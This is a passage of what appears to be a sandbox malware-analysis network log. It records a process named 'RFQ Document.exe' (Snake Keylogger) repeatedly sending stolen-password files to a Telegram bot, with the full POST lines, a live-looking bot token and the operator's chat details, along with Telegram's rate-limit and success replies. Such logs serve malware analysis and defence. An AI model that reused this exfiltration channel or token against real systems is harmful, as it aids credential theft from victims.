2021-09-28 05:58:27 UTC	50	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12611,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808707,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.4	50147	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:50 UTC	492	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f7500d3d Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:50 UTC	492	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 37 35 30 30 64 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f7500d3dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:50 UTC	493	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:50 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:50 UTC	493	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.4	50148	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:50 UTC	493	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f765838f Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:50 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 37 36 35 38 33 38 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f765838fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:50 UTC	494	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:50 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:50 UTC	494	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.4	50149	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:50 UTC	494	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f77d5a04 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:50 UTC	495	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 37 37 64 35 61 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f77d5a04Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:50 UTC	495	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:50 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:50 UTC	495	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.4	50150	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:50 UTC	496	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f79531e4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:50 UTC	496	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 37 39 35 33 31 65 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f79531e4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:50 UTC	496	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:50 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:50 UTC	497	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.4	50151	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:51 UTC	497	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f7aaa6fe Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:51 UTC	497	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 37 61 61 61 36 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f7aaa6feContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:59 UTC	497	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:59 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:59 UTC	498	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 33 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 33 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 3","parameters":{"retry_after":3}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.4	50152	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:59 UTC	498	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fc8e57da Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:59 UTC	498	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 63 38 65 35 37 64 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fc8e57daContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:02 UTC	499	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:02 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:02 UTC	499	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12898,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808802,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.4	50153	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:02 UTC	500	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f9c112f6 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:02 UTC	500	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 39 63 31 31 32 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f9c112f6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:02 UTC	500	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:02 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:02 UTC	501	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12899,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808802,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.4	50154	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:02 UTC	501	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f9ebfc06 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:02 UTC	501	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 39 65 62 66 63 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f9ebfc06Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:02 UTC	502	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:02 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:02 UTC	502	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12900,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808802,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.4	50155	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:02 UTC	503	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fa063563 Host: api.telegram.org Content-Length: 407
